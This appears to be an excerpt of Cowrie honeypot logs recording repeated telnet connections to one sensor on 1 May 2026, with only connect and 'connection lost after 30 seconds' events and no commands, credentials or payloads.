{"eventid":"cowrie.session.closed","duration":30.702749490737915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.080814Z","src_ip":"81.30.157.18","session":"2ef4d4aad041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.663230657577515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.138473Z","src_ip":"147.135.136.77","session":"74983b6abb14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.392058849334717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.148858Z","src_ip":"81.30.157.18","session":"fb8d832d1ba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74732208251953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.465943Z","src_ip":"168.119.91.149","session":"071fe62cfe10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34613347053528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.495266Z","src_ip":"168.119.91.149","session":"c295de18a552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50306,"dst_ip":"159.203.135.109","dst_port":23,"session":"21b5e0b950e3","protocol":"telnet","message":"New connection: 147.135.136.77:50306 (159.203.135.109:23) [session: 21b5e0b950e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.654839Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50308,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e800a230d6d","protocol":"telnet","message":"New connection: 147.135.136.77:50308 (159.203.135.109:23) [session: 5e800a230d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:48.908316Z"}
{"eventid":"cowrie.session.closed","duration":30.751237392425537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:49.070181Z","src_ip":"147.135.136.77","session":"240addae1200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842151403427124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:49.124871Z","src_ip":"147.135.136.77","session":"bc2aaa0ffdd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":39570,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3d69d9d3fa6","protocol":"telnet","message":"New connection: 37.187.24.227:39570 (159.203.135.109:23) [session: b3d69d9d3fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:49.244997Z"}
{"eventid":"cowrie.session.closed","duration":31.552067756652832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:49.730570Z","src_ip":"147.135.136.77","session":"26ca4de89f80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50332,"dst_ip":"159.203.135.109","dst_port":23,"session":"e69aaebd362f","protocol":"telnet","message":"New connection: 147.135.136.77:50332 (159.203.135.109:23) [session: e69aaebd362f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:49.811013Z"}
{"eventid":"cowrie.session.closed","duration":31.092535972595215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:50.116412Z","src_ip":"147.135.136.77","session":"11a9de58c706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":55680,"dst_ip":"159.203.135.109","dst_port":23,"session":"a62842a52ddd","protocol":"telnet","message":"New connection: 51.79.21.139:55680 (159.203.135.109:23) [session: a62842a52ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:50.156686Z"}
{"eventid":"cowrie.session.closed","duration":30.683779001235962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:50.238667Z","src_ip":"147.135.136.77","session":"acffd979b232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04628896713257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:50.248264Z","src_ip":"147.135.136.77","session":"9da703ee05b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091641187667847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:50.340083Z","src_ip":"147.135.136.77","session":"89f9f21df81a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.571430921554565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:50.515478Z","src_ip":"168.119.91.149","session":"3f4a5c5c1738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38144,"dst_ip":"159.203.135.109","dst_port":23,"session":"28523be23feb","protocol":"telnet","message":"New connection: 168.119.91.149:38144 (159.203.135.109:23) [session: 28523be23feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:50.690308Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50352,"dst_ip":"159.203.135.109","dst_port":23,"session":"868b1ed225f3","protocol":"telnet","message":"New connection: 147.135.136.77:50352 (159.203.135.109:23) [session: 868b1ed225f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.012127Z"}
{"eventid":"cowrie.session.closed","duration":30.67760443687439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.044407Z","src_ip":"147.135.136.77","session":"eb36a5fab36a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":43126,"dst_ip":"159.203.135.109","dst_port":23,"session":"beff276cb627","protocol":"telnet","message":"New connection: 37.187.24.227:43126 (159.203.135.109:23) [session: beff276cb627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.073641Z"}
{"eventid":"cowrie.session.closed","duration":30.204949617385864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.081304Z","src_ip":"147.135.136.77","session":"ccf2f165e9c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.932387828826904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.142806Z","src_ip":"147.135.136.77","session":"2c653ce52b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944528818130493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.164316Z","src_ip":"147.135.136.77","session":"a2bb715ba750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50366,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d72b6b9678","protocol":"telnet","message":"New connection: 147.135.136.77:50366 (159.203.135.109:23) [session: 56d72b6b9678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.189447Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f6a4ca55a26","protocol":"telnet","message":"New connection: 147.135.136.77:50368 (159.203.135.109:23) [session: 2f6a4ca55a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.231283Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50382,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9103724b6c8","protocol":"telnet","message":"New connection: 147.135.136.77:50382 (159.203.135.109:23) [session: a9103724b6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.477892Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50398,"dst_ip":"159.203.135.109","dst_port":23,"session":"4146be321519","protocol":"telnet","message":"New connection: 147.135.136.77:50398 (159.203.135.109:23) [session: 4146be321519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.676816Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50404,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6ea053565f6","protocol":"telnet","message":"New connection: 147.135.136.77:50404 (159.203.135.109:23) [session: e6ea053565f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:51.879164Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":55696,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f280220dd53","protocol":"telnet","message":"New connection: 51.79.21.139:55696 (159.203.135.109:23) [session: 2f280220dd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.045536Z"}
{"eventid":"cowrie.session.closed","duration":30.665088891983032,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.050445Z","src_ip":"147.135.136.77","session":"e3a6dfbc04d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.736175775527954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.053669Z","src_ip":"147.135.136.77","session":"c754c2d2343c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99239444732666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.059031Z","src_ip":"147.135.136.77","session":"b528c607aa20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.333794116973877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.072456Z","src_ip":"85.208.100.77","session":"07df0c34ae56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865288257598877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.077243Z","src_ip":"147.135.136.77","session":"8984da7342f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.958449363708496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.126906Z","src_ip":"147.135.136.77","session":"b30dc7245007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23046588897705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.239397Z","src_ip":"147.135.136.77","session":"698badc798a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561657667160034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.305030Z","src_ip":"147.135.136.77","session":"bc20871f3e3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50406,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4023cb5bfe","protocol":"telnet","message":"New connection: 147.135.136.77:50406 (159.203.135.109:23) [session: ff4023cb5bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.398770Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50324,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77d6b535dc0","protocol":"telnet","message":"New connection: 147.135.136.77:50324 (159.203.135.109:23) [session: e77d6b535dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:52.419733Z"}
{"eventid":"cowrie.session.closed","duration":30.6566379070282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:53.060915Z","src_ip":"147.135.136.77","session":"38caf2d53103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38148,"dst_ip":"159.203.135.109","dst_port":23,"session":"c106b741f8bc","protocol":"telnet","message":"New connection: 168.119.91.149:38148 (159.203.135.109:23) [session: c106b741f8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:53.138064Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50412,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b82d789b2a","protocol":"telnet","message":"New connection: 147.135.136.77:50412 (159.203.135.109:23) [session: f4b82d789b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:53.144429Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50414,"dst_ip":"159.203.135.109","dst_port":23,"session":"92a59fcd7208","protocol":"telnet","message":"New connection: 147.135.136.77:50414 (159.203.135.109:23) [session: 92a59fcd7208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:53.301554Z"}
{"eventid":"cowrie.session.closed","duration":31.0510470867157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:54.101257Z","src_ip":"147.135.136.77","session":"148a1376b86e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50426,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be53bb16e0e","protocol":"telnet","message":"New connection: 147.135.136.77:50426 (159.203.135.109:23) [session: 5be53bb16e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:54.211014Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50416,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1501e1b1022","protocol":"telnet","message":"New connection: 147.135.136.77:50416 (159.203.135.109:23) [session: f1501e1b1022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:54.342814Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50430,"dst_ip":"159.203.135.109","dst_port":23,"session":"199f3a39088c","protocol":"telnet","message":"New connection: 147.135.136.77:50430 (159.203.135.109:23) [session: 199f3a39088c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:54.472400Z"}
{"eventid":"cowrie.session.closed","duration":30.78227472305298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:54.477256Z","src_ip":"168.119.91.149","session":"410e9c5f8a03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50446,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a927d03f235","protocol":"telnet","message":"New connection: 147.135.136.77:50446 (159.203.135.109:23) [session: 0a927d03f235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:54.677540Z"}
{"eventid":"cowrie.session.closed","duration":30.821435689926147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:55.055477Z","src_ip":"147.135.136.77","session":"0b1ab544b78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50458,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fb1f06eff28","protocol":"telnet","message":"New connection: 147.135.136.77:50458 (159.203.135.109:23) [session: 9fb1f06eff28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:55.075912Z"}
{"eventid":"cowrie.session.closed","duration":30.79711127281189,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:55.088600Z","src_ip":"81.30.157.18","session":"51499717be04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50460,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f162aa9942","protocol":"telnet","message":"New connection: 147.135.136.77:50460 (159.203.135.109:23) [session: d4f162aa9942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:55.204124Z"}
{"eventid":"cowrie.session.closed","duration":31.594664335250854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:55.803256Z","src_ip":"147.135.136.77","session":"c85e94dcf64e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622658729553223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.041730Z","src_ip":"147.135.136.77","session":"9c61ec0fbf2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2138569355011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.046245Z","src_ip":"147.135.136.77","session":"aeee71bc5297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38162,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3382d36eac1","protocol":"telnet","message":"New connection: 168.119.91.149:38162 (159.203.135.109:23) [session: a3382d36eac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.129267Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41852,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5a5a9a0771f","protocol":"telnet","message":"New connection: 51.79.21.139:41852 (159.203.135.109:23) [session: f5a5a9a0771f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.136196Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":54078,"dst_ip":"159.203.135.109","dst_port":23,"session":"72a295f0fc79","protocol":"telnet","message":"New connection: 37.187.24.227:54078 (159.203.135.109:23) [session: 72a295f0fc79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.211266Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41108,"dst_ip":"159.203.135.109","dst_port":23,"session":"d68db55fc7e2","protocol":"telnet","message":"New connection: 147.135.136.77:41108 (159.203.135.109:23) [session: d68db55fc7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.352437Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41864,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f989920deed","protocol":"telnet","message":"New connection: 51.79.21.139:41864 (159.203.135.109:23) [session: 5f989920deed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.551450Z"}
{"eventid":"cowrie.session.closed","duration":31.33067750930786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:56.681963Z","src_ip":"147.135.136.77","session":"70ab97c00569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966002464294434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.013892Z","src_ip":"51.79.21.139","session":"237b0ef2c9b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41118,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ded49b9967b","protocol":"telnet","message":"New connection: 147.135.136.77:41118 (159.203.135.109:23) [session: 1ded49b9967b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.216880Z"}
{"eventid":"cowrie.session.closed","duration":30.5124351978302,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.228984Z","src_ip":"147.135.136.77","session":"b20f2846c9b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181187629699707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.243961Z","src_ip":"147.135.136.77","session":"60b573df2024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41122,"dst_ip":"159.203.135.109","dst_port":23,"session":"82081d67a97c","protocol":"telnet","message":"New connection: 147.135.136.77:41122 (159.203.135.109:23) [session: 82081d67a97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.332970Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":38170,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d7b4188061","protocol":"telnet","message":"New connection: 168.119.91.149:38170 (159.203.135.109:23) [session: 65d7b4188061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.353143Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":56628,"dst_ip":"159.203.135.109","dst_port":23,"session":"946c38b21f31","protocol":"telnet","message":"New connection: 37.187.24.227:56628 (159.203.135.109:23) [session: 946c38b21f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.475868Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41128,"dst_ip":"159.203.135.109","dst_port":23,"session":"26e99ced5960","protocol":"telnet","message":"New connection: 147.135.136.77:41128 (159.203.135.109:23) [session: 26e99ced5960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.589582Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41138,"dst_ip":"159.203.135.109","dst_port":23,"session":"70f21e476626","protocol":"telnet","message":"New connection: 147.135.136.77:41138 (159.203.135.109:23) [session: 70f21e476626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.644704Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41140,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa14852af62b","protocol":"telnet","message":"New connection: 147.135.136.77:41140 (159.203.135.109:23) [session: aa14852af62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.705886Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41148,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0460ef6dc56","protocol":"telnet","message":"New connection: 147.135.136.77:41148 (159.203.135.109:23) [session: a0460ef6dc56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:57.961983Z"}
{"eventid":"cowrie.session.closed","duration":30.76566243171692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:58.040687Z","src_ip":"147.135.136.77","session":"137b1b5f312d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78447699546814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:58.085507Z","src_ip":"147.135.136.77","session":"f2a24f34e1fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66963815689087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:58.148236Z","src_ip":"147.135.136.77","session":"b172b9d29744","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41156,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ceb3082256","protocol":"telnet","message":"New connection: 147.135.136.77:41156 (159.203.135.109:23) [session: d1ceb3082256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:58.167146Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58338,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad384f700726","protocol":"telnet","message":"New connection: 37.187.24.227:58338 (159.203.135.109:23) [session: ad384f700726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:58.370205Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":57198,"dst_ip":"159.203.135.109","dst_port":23,"session":"87884851d3df","protocol":"telnet","message":"New connection: 81.30.157.18:57198 (159.203.135.109:23) [session: 87884851d3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:58.436028Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41874,"dst_ip":"159.203.135.109","dst_port":23,"session":"696ea82ad1b9","protocol":"telnet","message":"New connection: 51.79.21.139:41874 (159.203.135.109:23) [session: 696ea82ad1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:52:58.547821Z"}
